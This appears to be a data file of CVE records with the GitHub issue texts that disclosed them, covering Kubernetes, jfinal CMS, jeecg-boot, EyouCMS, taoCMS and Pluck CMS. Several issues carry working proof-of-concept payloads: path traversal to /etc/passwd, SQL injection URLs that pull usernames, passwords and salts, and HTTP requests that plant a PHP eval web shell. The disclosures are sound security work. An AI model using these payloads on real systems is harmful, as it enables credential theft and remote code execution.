"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/kubernetes/kubernetes/issues/118690 | [
"Issue Tracking"
] | github.com | [
"kubernetes",
"kubernetes"
] | ### What happened?
A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. This issue has been rated LOW ([CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)) (score: 3.4).
If you have pods in your cluster that use [localhost type](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core) for seccomp profile but specify an empty profile field, then you are affected by this issue. In this scenario, this vulnerability allows the pod to run in “unconfined” (seccomp disabled) mode. This bug affects Kubelet.
### How can we reproduce it (as minimally and precisely as possible)?
This can be reproduced by creating a pod with following sample seccomp Localhost profile -
```
localhostProfile: ""
```
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core
### Kubernetes version
**Affected Versions**
v1.27.0 - v1.27.1
v1.26.0 - v1.26.4
v1.25.0 - v1.25.9
<= v1.24.13
**Fixed Versions**
v1.27.2
v1.26.5
v1.25.10
V1.24.14
### Anything else we need to know?
How do I remediate this vulnerability?
To remediate this vulnerability you should upgrade your Kubelet to one of the below mentioned versions.
Acknowledgements
This vulnerability was reported by Tim Allclair, and fixed by Craig Ingram. | CVE-2023-2431: Bypass of seccomp profile enforcement | https://api.github.com/repos/kubernetes/kubernetes/issues/118690/comments | 6 | 2023-06-15T14:42:32Z | 2023-09-29T21:16:18Z | https://github.com/kubernetes/kubernetes/issues/118690 | 1,758,988,605 | 118,690 |
CVE-2023-34645 | 2023-06-16T18:15:09.367 | jfinal CMS 5.1.0 has an arbitrary file read vulnerability. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jflyfox/jfinal_cms/issues/57"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jflyfox:jfinal_cms:5.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "9B33E946-BD15-449C-B736-013773A64DF6",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jflyfox/jfinal_cms/issues/57 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jflyfox",
"jfinal_cms"
] | Project address:
https://github.com/jflyfox/jfinal_cms
official website:
http://mtg.jflyfox.com/
Enter the background, edit /template/includes/jquery.html in the template management , poc is as follows
${printFile('../../../../../../../../../../../../../../../etc/passwd')}

Reopen the homepage http://localhost:8877/jfinal_cms/ , can see /etc/passwd

| jfinal CMS v5.1.0 has a arbitrary file reading vulnerability exists | https://api.github.com/repos/jflyfox/jfinal_cms/issues/57/comments | 0 | 2023-05-26T06:20:05Z | 2023-05-26T06:20:05Z | https://github.com/jflyfox/jfinal_cms/issues/57 | 1,726,977,639 | 57 |
CVE-2023-34659 | 2023-06-16T18:15:09.437 | jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4976"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FEDFF952-7B1F-44EB-98BA-265CB22D6FB3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "52891D2B-E0C4-4263-9804-45F1551B5142",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jeecgboot/jeecg-boot/issues/4976 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] |
##### 版本号:
JECG3.5.1 And JECG3.5.0
##### 前端版本:vue3版?还是 vue2版?
vue3
##### 问题描述:
After testing, it was found that the id parameter of the/jeecg-boot/jmreport/show interface of jeecg-boot has SQL injection and is unauthorized.
##### 截图&代码:
Download and use https://github.com/jeecgboot/jeecg-boot After the project source code starts,
Entry: "Statistical Report" -->"Example of Building Block Report"
Grab the package and obtain the SQL injection interface. The following figure proves the existence of SQL injection.


Payload (check MySQL version):
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}

Payload (view current database):
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}

Source code analysis:
In the org. jeecg. modules. jmreport. descreport. a package, a.java is a controller; When it comes to post requests/jeecg boot/jmreport/show, it will come to this method.

Using burp for contracting

Then, line 315 passes var3 into jmReportDesignService. show; Let's follow in and take a look.

Enter getDataById on line 2122

Then on line 248, reportDbDao. selectList was called

Entered the JmReportDb class and obtained dbDynSql as: select * from rep_ demo_ gongsi where id='${id}'。 Confirmed as the ID of the splice

The interface this.reportDbDao. selectListBySql was called at line 468 in the e-class of the org. jeecg. modules. jmreport. descreport. service. a package.

This interface is a MyBatis method that uses @ ResultType and @ Param annotations. DbDynSql called


Finally, the database name was obtained through error injection

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| Unauthorized SQL injection in Jeecg3.5.0 and 3.5.1 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4976/comments | 3 | 2023-05-25T02:08:54Z | 2023-06-18T13:06:06Z | https://github.com/jeecgboot/JeecgBoot/issues/4976 | 1,724,968,984 | 4,976 |
CVE-2023-34660 | 2023-06-16T18:15:09.483 | jjeecg-boot V3.5.0 has an unauthorized arbitrary file upload in /jeecg-boot/jmreport/upload interface. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4990"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FEDFF952-7B1F-44EB-98BA-265CB22D6FB3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "52891D2B-E0C4-4263-9804-45F1551B5142",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jeecgboot/jeecg-boot/issues/4990 | [
"Exploit"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
目前确定影响:3.5.0 & 3.5.1(其它版本未验证)
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
经测试发现/jeecg-boot/jmreport/upload接口存在未授权任意文件上传,可以上传html文件造成存储型的XSS。
##### 截图&代码:
下载使用https://github.com/jeecgboot/jeecg-boot项目源代码启动项目后,
入口:“报表设计器”-->"新建报表"-->"插入图片"
抓取包,获得上传接口,下面证明任意文件上传的存在。



修改后缀为html,添加js代码

访问后,成功执行

尝试上传sh,上传成功

###源码分析
在org.jeecg.modules.jmreport.desreport.a包里面的a.java是一个controller;当做post请求/jeecg-boot/jmreport/upload的时候就会来到这个方法里面。

进行判断了之后,然后进入LOCAL方法,我们跟进去一直来到了a方法。这里只是做了“../”的过滤。

然后调用getUpload()获取存储的路径,做了一系列的赋值之后,来到var8得到了最终的路径,然后通过new File传进var8的值,创建了新的文件,至此实现了任意文件类型的上传。

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| /jeecg-boot/jmreport/upload接口存在未授权任意文件上传 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4990/comments | 4 | 2023-05-28T14:23:40Z | 2023-09-04T09:33:58Z | https://github.com/jeecgboot/JeecgBoot/issues/4990 | 1,729,493,887 | 4,990 |
CVE-2023-34657 | 2023-06-19T04:15:10.873 | A stored cross-site scripting (XSS) vulnerability in Eyoucms v1.6.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the web_recordnum parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/43"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B87F220-D05C-4885-8C0E-E5BD8D8DFB66",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/weng-xianhu/eyoucms/issues/43 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.2


| EyouCMS v1.6.2 has stored xss | https://api.github.com/repos/weng-xianhu/eyoucms/issues/43/comments | 0 | 2023-05-26T11:19:34Z | 2024-03-22T06:50:31Z | https://github.com/weng-xianhu/eyoucms/issues/43 | 1,727,428,755 | 43 |
CVE-2023-34602 | 2023-06-19T06:15:09.047 | JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryTableDictItemsByCode at org.jeecg.modules.api.controller.SystemApiController. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4983"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecgboot:*:*:*:*:*:*:*:*",
"matchCriteriaId": "10C93285-2128-4E13-8F27-3BA2A037D4E6",
"versionEndExcluding": null,
"versionEndIncluding": "3.5.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jeecgboot/jeecg-boot/issues/4983 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
3.5.1以及之前的所有版本
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
代码中存在SQL注入风险。尽管代码中添加SQL注入的过滤功能,但我们测试发现访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryTableDictItemsByCode```方法还是能通过特殊的字符串获取数据表中我们想要的数据,例如sys_user表中的用户名,密码和salt值。详细请见截图中的URL,其中“--”符号表示注释,通过该符号屏蔽后续SQL语句,其主要原因是mybatis中${XXX}存在SQL注入风险。
There is a SQL injection risk in the code. Although the code has added SQL injection filtering functionality, we found during testing that accessing the ```queryTableDictItemsByCode method``` in the ```org.jeecg.modules.api.controller.SystemApiController``` class still allows obtaining desired data from the database table, such as usernames, passwords, and salt values from the sys_user table. Please refer to the screenshot of the URL provided, where the "--" symbol is used to comment out the subsequent SQL statements. The main reason for this is the SQL injection risk associated with ${XXX} in MyBatis.
##### 截图&代码:
**source code:**



**SQL Injection:**
URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username

URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", salt as "value" from sys_user --&code=username

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| SQL Injection in 3.5.1 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4983/comments | 3 | 2023-05-26T13:33:03Z | 2023-06-07T06:02:29Z | https://github.com/jeecgboot/JeecgBoot/issues/4983 | 1,727,638,418 | 4,983 |
CVE-2023-34603 | 2023-06-19T06:15:09.180 | JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryFilterTableDictInfo at org.jeecg.modules.api.controller.SystemApiController. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4984"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecgboot:*:*:*:*:*:*:*:*",
"matchCriteriaId": "10C93285-2128-4E13-8F27-3BA2A037D4E6",
"versionEndExcluding": null,
"versionEndIncluding": "3.5.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jeecgboot/jeecg-boot/issues/4984 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
3.5.1以及之前的所有版本
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
与问题https://github.com/jeecgboot/jeecg-boot/issues/4983 类似,访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryFilterTableDictInfo```方法会触发SQL注入,根据需求获取数据库中的关键信息。主要原因还是绕过SQL注入检测方法后,Mybatis中的${XXX}存在SQL注入隐患。
Similar to the issue https://github.com/jeecgboot/jeecg-boot/issues/4983, accessing the ```queryFilterTableDictInfo``` method in the ```org.jeecg.modules.api.controller.SystemApiController``` class will trigger SQL injection, allowing retrieval of critical information from the database based on the requirements. The main reason for this is the SQL injection vulnerability associated with ${XXX} in MyBatis, even after bypassing the SQL injection detection methods.
##### 截图&代码:
**source code:**



**SQL Injection**
URL: http://localhost:8080/jeecg-boot/sys/api/queryFilterTableDictInfo?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username&filterSql=

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| org.jeecg.modules.api.controller.SystemApiController.queryFilterTableDictInfo方法导致SQL注入 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4984/comments | 1 | 2023-05-26T13:43:23Z | 2023-09-04T09:36:15Z | https://github.com/jeecgboot/JeecgBoot/issues/4984 | 1,727,654,900 | 4,984 |
CVE-2020-20718 | 2023-06-20T15:15:10.627 | File Upload vulnerability in PluckCMS v.4.7.10 dev versions allows a remote attacker to execute arbitrary code via a crafted image file to the the save_file() parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/pluck-cms/pluck/issues/79"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pluck-cms:pluckcms:4.7.10:dev:*:*:*:*:*:*",
"matchCriteriaId": "F81490FE-D8E4-42ED-9D60-7D44697E52AB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/pluck-cms/pluck/issues/79 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"pluck-cms",
"pluck"
] | admin.php:

language.php:

save_file():

"../../../images/wphp.jpg" Be written to \data\settings\langpref.php

Users can upload a picture file containing malicious code to getshell.
POST /pluck-4.7.10-dev1/admin.php?action=language HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:83/pluck-4.7.10-dev1/admin.php?action=language
Cookie: LQUKaS_admin_username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1570503836; PHPSESSID=a0bhen6shpeifgc20p0l23pmj1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
cont1=../../../images/php.jpg&save=%E5%82%A8%E5%AD%98&cmd=echo "2333"; | File contains vuln pluck 4.7.10 dev version | https://api.github.com/repos/pluck-cms/pluck/issues/79/comments | 2 | 2019-10-12T02:21:22Z | 2019-11-01T18:58:02Z | https://github.com/pluck-cms/pluck/issues/79 | 506,117,765 | 79 |
CVE-2020-20725 | 2023-06-20T15:15:10.677 | Cross Site Scripting vulnerability in taogogo taoCMS v.2.5 beta5.1 allows remote attacker to execute arbitrary code via the name field in admin.php. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/taogogo/taocms/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:taogogo:taocms:2.5:beta1:*:*:*:*:*:*",
"matchCriteriaId": "DD27C8D4-1FAB-4E1E-A7C7-9EF840F833E9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/taogogo/taocms/issues/2 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"taogogo",
"taocms"
] | First
Enter the page: `http://127.0.0.1/taocms/admin/admin.php?action=frame&ctrl=iframes`
and the payload is:
<img width="986" alt="taocmsxss1-1" src="https://user-images.githubusercontent.com/41558659/66716536-592cd880-ee01-11e9-8eea-0a5dfc8e3411.png">
Then,we can see the result.
<img width="1060" alt="taocmsxss1-2" src="https://user-images.githubusercontent.com/41558659/66716545-6ea20280-ee01-11e9-8597-220aa7ddf725.png">
| Cross Site Scripting | https://api.github.com/repos/taogogo/taocms/issues/2/comments | 1 | 2019-10-13T13:37:13Z | 2021-03-03T17:01:54Z | https://github.com/taogogo/taocms/issues/2 | 506,326,544 | 2 |
CVE-2020-20918 | 2023-06-20T15:15:10.810 | An issue discovered in Pluck CMS v.4.7.10-dev2 allows a remote attacker to execute arbitrary php code via the hidden parameter to admin.php when editing a page. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/pluck-cms/pluck/issues/80"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pluck-cms:pluck:4.7.10:dev2:*:*:*:*:*:*",
"matchCriteriaId": "960CA1A9-1510-488A-82C2-14AFA3AF7FBE",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/pluck-cms/pluck/issues/80 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"pluck-cms",
"pluck"
] | **Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page**
Vulnerability location:
data\inc\functions.admin.php 531-535 line

Saves the hidden parameter passed by the POST request to php, but does not escape the special character (') in the value, which can directly close the php syntax remote execution command, such as phpinfo(), eval(), etc.
Demo:
After the installation is successful, go to the management background.Create a new page, enter a title and content Select "Show webpage",submit the request and then grab the request packet to modify the value of the hidden parameter to "no"; phpinfo();'"

```
POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage
Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
title=aaaa&seo_name=&content=%3Cp%3Eaaaa%3C%2Fp%3E&description=&keywords=&hidden=no';phpinfo();'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98
```


http://192.168.80.1/pluck-4.7.10-dev2/?file=aaaa

Write a sentence Trojan
```
POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage
Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
title=bbbb&seo_name=&content=%3Cp%3Ebbbb%3C%2Fp%3E&description=&keywords=&hidden=no';@eval($_POST[b]);'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98
```
Use chopper connection

| Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page | https://api.github.com/repos/pluck-cms/pluck/issues/80/comments | 2 | 2019-10-21T07:55:24Z | 2019-11-01T18:58:26Z | https://github.com/pluck-cms/pluck/issues/80 | 509,793,657 | 80 |
CVE-2020-20919 | 2023-06-20T15:15:10.857 | File upload vulnerability in Pluck CMS v.4.7.10-dev2 allows a remote attacker to execute arbitrary code and access sensitive information via the theme.php file. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/pluck-cms/pluck/issues/85"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pluck-cms:pluck:4.7.10:dev2:*:*:*:*:*:*",
"matchCriteriaId": "960CA1A9-1510-488A-82C2-14AFA3AF7FBE",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/pluck-cms/pluck/issues/85 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"pluck-cms",
"pluck"
